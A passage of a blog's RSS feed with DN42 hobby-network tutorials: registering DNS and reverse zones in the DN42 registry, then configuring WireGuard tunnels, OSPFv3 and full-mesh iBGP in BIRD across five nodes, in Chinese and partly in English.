tech-c:             &amp;lt;Tech_NIC_Handle&amp;gt;
mnt-by:             &amp;lt;Maintainer&amp;gt;
nserver:            &amp;lt;NS1_Server_Domain&amp;gt; &amp;lt;NS1_Server_IP&amp;gt;
nserver:            &amp;lt;NS2_Server_Domain&amp;gt; &amp;lt;NS2_Server_IP&amp;gt;
nserver:            &amp;lt;NS3_Server_Domain&amp;gt; &amp;lt;NS3_Server_IP&amp;gt;
...
source:             DN42
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Refer to &lt;a href=&quot;https://www.iyoroy.cn/en/archives/84/&quot;&gt;DN42 -  Ep.1 Joining the DN42 Network&lt;/a&gt; for &lt;code&gt;admin-c&lt;/code&gt;, &lt;code&gt;tech-c&lt;/code&gt;, and &lt;code&gt;mnt-by&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Example&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;data/dns/yori.dn42&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;domain:             yori.dn42
admin-c:            IYOROY-DN42
tech-c:             IYOROY-DN42
mnt-by:             IYOROY-MNT
nserver:            ns1.yori.dn42 172.20.234.225
nserver:            ns1.yori.dn42 fd18:3e15:61d0::1
nserver:            ns2.yori.dn42 172.20.234.227
nserver:            ns2.yori.dn42 fd18:3e15:61d0::3
nserver:            ns3.yori.dn42 172.20.234.229
nserver:            ns3.yori.dn42 fd18:3e15:61d0::5
source:             DN42
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;IPv4 Reverse Lookup Domain&lt;/h2&gt;
&lt;p&gt;Navigate to &lt;code&gt;data/inetnum&lt;/code&gt;, find the file for your registered address block, and add &lt;code&gt;nserver&lt;/code&gt; fields pointing to your own DNS servers:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;nserver:            &amp;lt;your_DNS_server_address&amp;gt;
nserver:            &amp;lt;your_DNS_server_address&amp;gt;
...
...
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Example&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;diff --git a/data/inetnum/172.20.234.224_28 b/data/inetnum/172.20.234.224_28
index 50c800945..5ad60e23d 100644
--- a/data/inetnum/172.20.234.224_28
+++ b/data/inetnum/172.20.234.224_28
@@ -8,3 +8,6 @@ tech-c:             IYOROY-DN42
 mnt-by:             IYOROY-MNT
 status:             ASSIGNED
 source:             DN42
+nserver:            ns1.yori.dn42
+nserver:            ns2.yori.dn42
+nserver:            ns3.yori.dn42
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;IPv6 Reverse Lookup Domain&lt;/h2&gt;
&lt;p&gt;Navigate to &lt;code&gt;data/inet6num&lt;/code&gt;, find the file for your registered address block, and add &lt;code&gt;nserver&lt;/code&gt; fields pointing to your own DNS servers:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;nserver:            &amp;lt;your_DNS_server_address&amp;gt;
nserver:            &amp;lt;your_DNS_server_address&amp;gt;
...
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Example&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;diff --git a/data/inet6num/fd18:3e15:61d0::_48 b/data/inet6num/fd18:3e15:61d0::_48
index 53f0de06d..1ae067b00 100644
--- a/data/inet6num/fd18:3e15:61d0::_48
+++ b/data/inet6num/fd18:3e15:61d0::_48
@@ -8,3 +8,6 @@ tech-c:             IYOROY-DN42
 mnt-by:             IYOROY-MNT
 status:             ASSIGNED
 source:             DN42
+nserver:            ns1.yori.dn42
+nserver:            ns2.yori.dn42
+nserver:            ns3.yori.dn42
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Submit a PR and Wait for Merge&lt;/h2&gt;
&lt;p&gt;After filling everything out, push your changes and submit a Pull Request. Because anyone in DN42 can run recursive DNS, it might take up to a week for the DNS configuration to fully propagate, although I found that the public DNS (172.20.0.53) could query my records within half a day after merging.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;Special thanks to たのしい for clarifying the differences between IPv4 reverse lookup in DN42 and the public internet.&lt;br /&gt;
Reference Articles:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;https://www.haiyun.me/archives/1398.html&lt;/li&gt;
&lt;li&gt;https://www.jianshu.com/p/7d69ec2976c7&lt;/li&gt;
&lt;li&gt;https://www.potat0.cc/posts/20220726/Register_DN42_Domain/&lt;/li&gt;
&lt;li&gt;https://bbs.csdn.net/topics/393775423&lt;/li&gt;
&lt;li&gt;https://blog.snorlax.blue/knot-reverse-dns-kickstart/&lt;/li&gt;
&lt;li&gt;http://www.kkdlabs.jp/dns/automatic-dnssec-signing-by-knot-dns/&lt;/li&gt;
&lt;li&gt;https://lantian.pub/article/modify-website/register-own-domain-in-dn42.lantian/&lt;/li&gt;
&lt;li&gt;https://datatracker.ietf.org/doc/html/rfc2317&lt;/li&gt;
&lt;li&gt;https://datatracker.ietf.org/doc/html/rfc3152&lt;/li&gt;
&lt;li&gt;https://datatracker.ietf.org/doc/html/rfc1912#section-2.2&lt;/li&gt;
&lt;/ol&gt;
</content:encoded></item><item><title>DN42探究日记 - Ep.2 通过OSPF搭建内部网络并启用iBGP</title><link>https://blog.iyoroy.cn/posts/103/</link><guid isPermaLink="true">https://blog.iyoroy.cn/posts/103/</guid><description>在 DN42 的多个节点之间通过 WireGuard 和 OSPFv3 建立内部路由，再用全互联 iBGP 传递外部路由，记录链路本地地址及双栈配置。</description><pubDate>Tue, 22 Jul 2025 05:46:00 GMT</pubDate><content:encoded>&lt;h1&gt;写在前面&lt;/h1&gt;
&lt;p&gt;本人是BGP小白，文章中可能会存在&lt;strong&gt;不严谨内容/小白理解/低级错误&lt;/strong&gt;，请诸位大佬们手下留情。若发现存在问题，您愿意的话可以&lt;a href=&quot;mailto:i@iyoroy.cn&quot;&gt;邮件联系我&lt;/a&gt;，我会在第一时间更正。&lt;strong&gt;如果您不能接受，建议现在就关闭此文章&lt;/strong&gt;。&lt;/p&gt;
&lt;h1&gt;本文更新日志&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;2025年7月22日：文章第一版发布，使用VXLAN over WireGuard隧道&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;2025年7月25日：更新隧道方案，使用&lt;code&gt;type ptp;&lt;/code&gt;以支持直接通过WireGuard传输OSPF流量（特别感谢Nuro Trance大佬指导！）&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;2025年8月8日：添加iBGP部分的解释和配置&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;2025年8月27日：更新节点拓扑结构图&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;为什么需要内部路由&lt;/h1&gt;
&lt;p&gt;当节点数量增多，我们需要一个合适的方式处理自己AS的内部路由。因为BGP路由只负责将数据包路由到AS，这就导致了一个问题：假如我有A、B两个节点都与别人peer，但是在路由器看来这两台设备同属于一个AS，从A节点发出的请求回包可能被回到B上。这个时候，如果没有做内部路由，则A会无法收到回包。因此，我们需要保证自家内网各个设备之间都能连通。常见的几种方式如下：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;通过ZeroTier等组网工具：这种方式较为简单，只需要在每个节点上配置一个客户端即可实现各个节点之间的P2P连接。&lt;/li&gt;
&lt;li&gt;通过WireGuard等P2P工具手动建立$\frac{n(n-1)}{2}$条隧道，效果同1，但是节点一多工作量呈平方级上升&lt;/li&gt;
&lt;li&gt;通过WireGuard等P2P工具手动建立&amp;lt;$\frac{n(n-1)}{2}$条隧道，再通过OSPF、Babel等内网寻路协议建立内网路由，优点是较为灵活，易于后期添加新节点，缺点就是&lt;strong&gt;较为危险&lt;/strong&gt;，容易&lt;a href=&quot;https://lantian.pub/article/modify-website/how-to-kill-the-dn42-network.lantian/&quot;&gt;配置错误引爆DN42&lt;/a&gt;。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;s&gt;因此我决定冒险一下&lt;/s&gt;&lt;/p&gt;
&lt;h1&gt;节点拓扑&lt;/h1&gt;
&lt;pre&gt;&lt;code&gt;graph LR
    A[HKG&amp;lt;br&amp;gt;172.20.234.225&amp;lt;br&amp;gt;fd18:3e15:61d0::1]
    B[NKG&amp;lt;br&amp;gt;172.20.234.226&amp;lt;br&amp;gt;fd18:3e15:61d0::2]
    C[TYO&amp;lt;br&amp;gt;172.20.234.227&amp;lt;br&amp;gt;fd18:3e15:61d0::3]
    D[FRA&amp;lt;br&amp;gt;172.20.234.228&amp;lt;br&amp;gt;fd18:3e15:61d0::4]
    E[LAX&amp;lt;br&amp;gt;172.20.234.229&amp;lt;br&amp;gt;fd18:3e15:61d0::5]

    B &amp;lt;--&amp;gt; A
    C &amp;lt;--&amp;gt; A
    A &amp;lt;--&amp;gt; E
    A &amp;lt;--&amp;gt; D
    C &amp;lt;--&amp;gt; D
    C &amp;lt;--&amp;gt; E
    D &amp;lt;--&amp;gt; E
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;更新Bird2至v2.16及以上&lt;/h1&gt;
&lt;p&gt;因为我希望使用IPv6 Link-Local地址传递IPv4的OSPF数据，而Bird在2.16及以后才支持这项功能，因此需要更新至v2.16。如果你不希望更新，可以先跳过此步骤。&lt;br /&gt;
使用以下指令安装最新版本的Bird2：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo apt update &amp;amp;&amp;amp; sudo apt -y install apt-transport-https ca-certificates wget lsb-release
sudo wget -O /usr/share/keyrings/cznic-labs-pkg.gpg https://pkg.labs.nic.cz/gpg

echo &quot;deb [signed-by=/usr/share/keyrings/cznic-labs-pkg.gpg] https://pkg.labs.nic.cz/bird2 $(lsb_release -sc) main&quot; | sudo tee /etc/apt/sources.list.d/cznic-labs-bird2.list

sudo apt update &amp;amp;&amp;amp; sudo apt install bird2 -y
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;配置隧道&lt;/h1&gt;
&lt;pre&gt;&lt;code&gt;[Interface]
PrivateKey = &amp;lt;本地WireGuard私钥&amp;gt;
ListenPort = &amp;lt;监听端口&amp;gt;
Table = off
Address = &amp;lt;IPv6 LLA&amp;gt;/64
PostUp = sysctl -w net.ipv6.conf.%i.autoconf=0

[Peer]
PublicKey = &amp;lt;对端公钥&amp;gt;
Endpoint = &amp;lt;对端公网接入点&amp;gt;
AllowedIPs = 10.0.0.0/8, 172.20.0.0/14, 172.31.0.0/16, fd00::/8, fe00::/8, ff02::5
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;ff02::5&lt;/code&gt;是OSPFv3路由器专用的链路本地范围组播地址，需要添加进AllowedIPs。&lt;/li&gt;
&lt;li&gt;如果你正在使用v2.16以前的Bird，请再为隧道配置一个IPv4地址，不一定非要是DN42 IPv4，其他私有地址也可以。请参考：&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;包含IPv4的WireGuard配置示例&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;[Interface]
PrivateKey = &amp;lt;本地WireGuard私钥&amp;gt;
ListenPort = &amp;lt;监听端口&amp;gt;
Table = off
Address = &amp;lt;IPv6 LLA&amp;gt;/64
PostUp = ip addr add 100.64.0.225/32 peer 100.64.0.226/32 dev %i
PostUp = sysctl -w net.ipv6.conf.%i.autoconf=0

[Peer]
PublicKey = &amp;lt;对端公钥&amp;gt;
Endpoint = &amp;lt;对端公网接入点&amp;gt;
AllowedIPs = 10.0.0.0/8, 172.20.0.0/14, 100.64.0.0/16, 172.31.0.0/16, fd00::/8, fe00::/8, ff02::5
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;请将&lt;code&gt;100.64.0.225&lt;/code&gt;、&lt;code&gt;100.64.0.226&lt;/code&gt;替换为你本机的IPv4和对端的IPv4，并且记得加入&lt;code&gt;AllowedIPs&lt;/code&gt;。&lt;/p&gt;
&lt;h1&gt;启用OSPF&lt;/h1&gt;
&lt;p&gt;&lt;em&gt;默认你已经配置好了如上一篇文章所写的bird基础配置&lt;/em&gt;&lt;br /&gt;
在&lt;code&gt;/etc/bird&lt;/code&gt;下新建一个名为&lt;code&gt;ospf.conf&lt;/code&gt;的文件，填入如下内容：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;protocol ospf v3 &amp;lt;name&amp;gt; {
    ipv4 {
        import where is_self_net() &amp;amp;&amp;amp; source != RTS_BGP;
        export where is_self_net() &amp;amp;&amp;amp; source != RTS_BGP;
    };

    include &quot;/etc/bird/ospf/*&quot;;
};

protocol ospf v3 &amp;lt;name&amp;gt; {
    ipv6 {
        import where is_self_net_v6() &amp;amp;&amp;amp; source != RTS_BGP;
        export where is_self_net_v6() &amp;amp;&amp;amp; source != RTS_BGP;
    };

    include &quot;/etc/bird/ospf/*&quot;;
};
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;理论上来说应该使用OSPF v2处理IPv4，但是因为需要通过IPv6 LLA地址通信IPv4，因此此处IPv4也使用OSPF v3。&lt;/li&gt;
&lt;li&gt;过滤规则保证&lt;strong&gt;只有本网段内的路由&lt;/strong&gt;能够通过OSPF传递，并且&lt;strong&gt;过滤掉外部BGP协议的路由&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;千万不要随意使用&lt;code&gt;import all;export all;&lt;/code&gt;，有可能会导致路由劫持并影响到整个DN42网络。OSPF只应该处理网段内部的路由。&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;配置示例&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;/etc/bird/ospf.conf&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;protocol ospf v3 dn42_iyoroynet_ospf {
    ipv4 {
        import where is_self_net() &amp;amp;&amp;amp; source != RTS_BGP;
        export where is_self_net() &amp;amp;&amp;amp; source != RTS_BGP;
    };

    include &quot;/etc/bird/ospf/*&quot;;
};

protocol ospf v3 dn42_iyoroynet_ospf6 {
    ipv6 {
        import where is_self_net_v6() &amp;amp;&amp;amp; source != RTS_BGP;
        export where is_self_net_v6() &amp;amp;&amp;amp; source != RTS_BGP;
    };

    include &quot;/etc/bird/ospf/*&quot;;
};
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;接着，新建&lt;code&gt;/etc/bird/ospf&lt;/code&gt;文件夹，在其中创建area配置文件（如：&lt;code&gt;/etc/bird/ospf/0.conf&lt;/code&gt;），填写区域信息：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;area 0.0.0.0 {
    interface &quot;&amp;lt;DN42 dummy网卡&amp;gt;&quot; { stub; };
    interface &quot;&amp;lt;wg0网卡名称&amp;gt;&quot; {
        cost 80; # 按照你的网络情况修改
        type ptp;
    };
    interface &quot;&amp;lt;wg1网卡名称&amp;gt;&quot; {
        cost 100; # 按照你的网络情况修改
        type ptp;
    };
    # 以此类推
};
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;0.0.0.0&lt;/code&gt;区域代表骨干网&lt;/li&gt;
&lt;li&gt;此处dummy网卡指&lt;a href=&quot;https://www.iyoroy.cn/archives/84/&quot;&gt;上一篇文章&lt;/a&gt;中所写的&lt;strong&gt;DN42虚拟网卡&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;cost&lt;/code&gt;值本应该是用于&lt;a href=&quot;https://edu.51cto.com/article/note/3019.html&quot;&gt;开销&lt;/a&gt;计算，但在DN42这种对带宽要求不大而对延迟较为敏感的场景下可以直接填写延迟，OSPF会自动走开销值之和最短的路由。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;配置示例&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;/etc/bird/ospf/0.conf&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;area 0.0.0.0 {
    interface &quot;dn42&quot; { stub; };
    interface &quot;dn42_hkg&quot; {
        cost 80;
        type ptp;            
    };
    interface &quot;dn42_hfe&quot; {
        cost 150;
        type ptp;
    };
    interface &quot;dn42_lax&quot;{
        cost 100;
        type ptp;
    };
};
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;最后，打开&lt;code&gt;/etc/bird/bird.conf&lt;/code&gt;，在末尾引入OSPF的配置文件：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;include &quot;ospf.conf&quot;;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;运行&lt;code&gt;birdc configure&lt;/code&gt;，然后&lt;code&gt;birdc show protocols&lt;/code&gt;应该就能看到OSPF的状态是&lt;strong&gt;Running&lt;/strong&gt;了。如果不是，请检查配置步骤是否出错。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/2025/07/2780979068.png&quot; alt=&quot;2.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;此时，在非直连的两台机器上互相ping应该就能通了：
&lt;img src=&quot;./images/2025/07/2307578163.png&quot; alt=&quot;3.png&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;配置iBGP&lt;/h1&gt;
&lt;blockquote&gt;
&lt;p&gt;在从多个地点建立对等连接之前，您的各个节点必须首先完整掌握自身网络的拓扑结构。除了所有外部 BGP 连接外，这还需要配置另一个关键组件：内部 BGP（即 iBGP）。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;必要性&lt;/h2&gt;
&lt;p&gt;iBGP可以保证AS内部所有运行BGP的路由器都能获知到达外部目的地的完整BGP路由信息，进而确保：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;内部路由器可以选择最优的出口路径。&lt;/li&gt;
&lt;li&gt;流量能够被正确地引导到负责连接特定外部网络的边界路由器。&lt;/li&gt;
&lt;li&gt;即使存在多个边界路由器连接到同一个外部网络，内部路由器也能根据策略选择最佳出口。&lt;/li&gt;
&lt;li&gt;相比于在AS内部使用默认路由指向边界路由器，iBGP提供了精确的外部路由信息，使得内部路由器能做出更智能的转发决策。&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;缺点与解决方案&lt;/h2&gt;
&lt;p&gt;常规 iBGP 不会将从一个 iBGP 邻居学到的路由再通告给另一个 iBGP 邻居，因此在不使用路由反射器或联邦等机制时，需要建立&lt;strong&gt;全网状的 iBGP 邻居关系（Full Mesh）&lt;/strong&gt;。n 个节点共需 $\frac{n(n-1)}{2}$ 条会话 &lt;s&gt;，没办法。不过 OSPF 起来之后 iBGP 配置还是比配置隧道简单的&lt;/s&gt; 。
解决方案就是：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;使用&lt;strong&gt;路由反射器（Route Reflector, RR）&lt;/strong&gt;：通过 RR 反射 iBGP 路由，减少全互联会话。只部署一个 RR 会引入单点风险，但可以通过多个 RR 做冗余；故障影响还取决于拓扑和路由保留行为。&lt;/li&gt;
&lt;li&gt;通过&lt;strong&gt;BGP联盟（BGP Confederation）&lt;/strong&gt; 搭建内部网络: 将AS内的路由器虚拟成一个个子AS，再把各个路由器之间的连接当作BGP处理，最后向外传递的时候抹去内部AS的路由路径。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;后面两种方案我没有尝试过，下面是一些可能有用的参考文章。本文着重讨论iBGP的配置。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://lantian.pub/article/modify-website/dn42-experimental-network-2020.lantian/&quot;&gt;DN42 实验网络介绍及注册教程（2022-12 更新） - Lan Tian @ Blog&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://lantian.pub/article/modify-website/bird-confederation.lantian/&quot;&gt;Bird 配置 BGP Confederation，及模拟 Confederation（2020-06-07 更新） - Lan Tian @ Blog&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;编写iBGP配置文件&lt;/h2&gt;
&lt;p&gt;在&lt;code&gt;/etc/bird&lt;/code&gt;下新建文件&lt;code&gt;ibgp.conf&lt;/code&gt;，填入如下内容：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;template bgp ibgpeers {
    local as OWNAS;
    ipv4 {
        import where source = RTS_BGP &amp;amp;&amp;amp; is_valid_network() &amp;amp;&amp;amp; !is_self_net();
        export where source = RTS_BGP &amp;amp;&amp;amp; is_valid_network() &amp;amp;&amp;amp; !is_self_net();
        next hop self;
        extended next hop;
    };
    ipv6 {
        import where source = RTS_BGP &amp;amp;&amp;amp; is_valid_network_v6() &amp;amp;&amp;amp; !is_self_net_v6();
        export where source = RTS_BGP &amp;amp;&amp;amp; is_valid_network_v6() &amp;amp;&amp;amp; !is_self_net_v6();
        next hop self;
    };
};

include &quot;ibgp/*&quot;;
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;导入和导出规则确保iBGP仅处理BGP协议学到的路由，并且过滤掉IGP的路由防止环回&lt;/li&gt;
&lt;li&gt;在本文没有向内部传播外部邻居地址的拓扑下，需要 &lt;code&gt;next hop self&lt;/code&gt;，将导出路由的下一跳改为边界路由器自身，使内部节点能够通过 IGP 到达它。它不是所有 iBGP 部署都必须启用的选项，关键是下一跳能否被正确解析和到达。&lt;/li&gt;
&lt;li&gt;因为我希望使用IPv6地址建立MP-BGP，通过IPv6路由IPv4，因此在IPv4中启用了&lt;code&gt;extended next hop&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;接着创建&lt;code&gt;/etc/bird/ibgp&lt;/code&gt;文件夹，在其中为每台节点都创建一个iBGP Peer配置文件:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;protocol bgp &apos;dn42_ibgp_&amp;lt;节点&amp;gt;&apos; from ibgpeers{
    neighbor &amp;lt;对应节点的IPv6 ULA地址&amp;gt; as OWNAS;
};
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;样例&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;/etc/bird/ibgp/hkg.conf&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;protocol bgp &apos;dn42_ibgp_HKG&apos; from ibgpeers{
    neighbor fd18:3e15:61d0::1 as OWNAS;
};
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;注意：每个节点上都需要建立(n-1)个iBGP连接，保证和AS内其他所有机器都建立连接，这也是为什么需要使用ULA地址&lt;/li&gt;
&lt;li&gt;使用可经 OSPF 路由到达的 ULA 地址建立 iBGP，可以让会话在直连 WireGuard 断开时改走其他链路，前提是仍存在可用的替代路径。ULA 地址本身不会自动提供冗余。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;最后，在&lt;code&gt;/etc/bird/bird.conf&lt;/code&gt;中加入对&lt;code&gt;ibgp.conf&lt;/code&gt;的引入:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;include &quot;ibgp.conf&quot;;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;并运行&lt;code&gt;birdc configure&lt;/code&gt;应用配置即可。&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;参考文章：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a href=&quot;https://soha.moe/post/bird-bgp-kickstart.html&quot;&gt;BIRD 与 BGP 的新手开场 - 海上的宫殿&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://milu.ink/519.html&quot;&gt;萌新入坑 DN42 之 —— 基于 tailscale + vxlan + OSPF 的组网 – 米露小窝&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://baimeow.cn/posts/dn11/configureospf/&quot;&gt;使用 Bird2 配置 WireGuard + OSPF 实现网络的高可用 | bs&apos; realm&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://lantian.pub/article/modify-website/dn42-experimental-network-2020.lantian/&quot;&gt;DN42 实验网络介绍及注册教程（2022-12 更新） - Lan Tian @ Blog&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://lantian.pub/article/modify-website/how-to-kill-the-dn42-network.lantian/&quot;&gt;如何引爆 DN42 网络（2023-05-12 更新） - Lan Tian @ Blog&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://lantian.pub/article/modify-website/bird-confederation.lantian/&quot;&gt;Bird 配置 BGP Confederation，及模拟 Confederation（2020-06-07 更新） - Lan Tian @ Blog&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://edu.51cto.com/article/note/3019.html&quot;&gt;深入解析OSPF路径开销、优先级和计时器 - 51CTO&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://bird.nic.cz/news/2024-12-07-new-release-2.16/&quot;&gt;New release 2.16 | BIRD Internet Routing Daemon&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://bird.xmsl.dev/docs/user-guide/1-2-installing.html&quot;&gt;第一章·第二节 如何在 Linux 上安装最新版本的 BIRD？ | BIRD 中文文档&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://blog.xeiu.top/archives/393&quot;&gt;[DN42] 使用 OSPF ptp 搭建内网与IBGP配置 – Xe_iu&apos;s Blog | Xe_iu的杂物间&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://blog.liuzhen932.top/posts/dn42-multiple-servers-ibgp-igps/&quot;&gt;[译] dn42 多服务器环境中的 iBGP 与 IGP 配置 | liuzhen932 的小窝&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
</content:encoded></item><item><title>DN42 - Ep.2 Building Internal Network with OSPF and Enabling iBGP</title><link>https://blog.iyoroy.cn/posts/en-103/</link><guid isPermaLink="true">https://blog.iyoroy.cn/posts/en-103/</guid><description>Connecting DN42 nodes with WireGuard and dual-stack OSPFv3, then exchanging external routes over full-mesh iBGP, with notes on link-local addressing and BIRD configuration.</description><pubDate>Tue, 22 Jul 2025 05:46:00 GMT</pubDate><content:encoded>&lt;h1&gt;Foreword&lt;/h1&gt;
&lt;p&gt;I am a novice in BGP. This article may contain &lt;strong&gt;imprecise content/naive understandings/elementary mistakes&lt;/strong&gt;. I kindly ask the experts to be lenient. If you find any issues, you are welcome to contact me via &lt;a href=&quot;mailto:i@iyoroy.cn&quot;&gt;email&lt;/a&gt;, and I will correct them as soon as possible. &lt;strong&gt;If you find this unacceptable, it is recommended to close this article now.&lt;/strong&gt;&lt;/p&gt;
&lt;h1&gt;Article Update Log&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;July 22, 2025: First edition published, using VXLAN over WireGuard tunnel.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;July 25, 2025: Updated tunneling solution, using type ptp; to support OSPF traffic via WireGuard (Special thanks to Nuro Trance for the guidance!).&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;August 8, 2025: Added explanation and configuration for iBGP.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;August 27, 2025: Updated node topology diagram.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;Why Do We Need Internal Routing?&lt;/h1&gt;
&lt;p&gt;As the number of nodes increases, we need a proper way to handle internal routing within our AS (Autonomous System). BGP only handles routing to different ASes, which causes a problem: if nodes A and B are both peering with external networks, a request from node A may have its response routed to node B, even though they are part of the same AS. Without internal routing, node A will not receive the reply.&lt;/p&gt;
&lt;p&gt;To solve this, we need to ensure that all devices within our AS can communicate with each other. The common solutions are:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Using network tools like ZeroTier: Simple to set up, just install the client on each node for P2P connectivity.&lt;/li&gt;
&lt;li&gt;Using P2P tools like WireGuard to manually create $\frac{n(n-1)}{2}$ tunnels, which works like the first solution but becomes cumbersome as nodes grow.&lt;/li&gt;
&lt;li&gt;Using WireGuard to establish $\frac{n(n-1)}{2}$ tunnels, then using an internal routing protocol like OSPF or Babel to manage the routing. This is more flexible and easier to scale, but it &lt;strong&gt;can be risky&lt;/strong&gt; and could &lt;a href=&quot;(https://lantian.pub/article/modify-website/how-to-kill-the-dn42-network.lantian/)&quot;&gt;break the DN42 network&lt;/a&gt;
due to misconfigurations.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;s&gt;Thus, I decided to take the risk.&lt;/s&gt;&lt;/p&gt;
&lt;h1&gt;Node Topology&lt;/h1&gt;
&lt;pre&gt;&lt;code&gt;  graph LR
    A[HKG&amp;lt;br&amp;gt;172.20.234.225&amp;lt;br&amp;gt;fd18:3e15:61d0::1]
    B[NKG&amp;lt;br&amp;gt;172.20.234.226&amp;lt;br&amp;gt;fd18:3e15:61d0::2]
    C[TYO&amp;lt;br&amp;gt;172.20.234.227&amp;lt;br&amp;gt;fd18:3e15:61d0::3]
    D[FRA&amp;lt;br&amp;gt;172.20.234.228&amp;lt;br&amp;gt;fd18:3e15:61d0::4]
    E[LAX&amp;lt;br&amp;gt;172.20.234.229&amp;lt;br&amp;gt;fd18:3e15:61d0::5]

    B &amp;lt;--&amp;gt; A
    C &amp;lt;--&amp;gt; A
    A &amp;lt;--&amp;gt; E
    A &amp;lt;--&amp;gt; D
    C &amp;lt;--&amp;gt; D
    C &amp;lt;--&amp;gt; E
    D &amp;lt;--&amp;gt; E
&lt;/code&gt;&lt;/pre&gt;
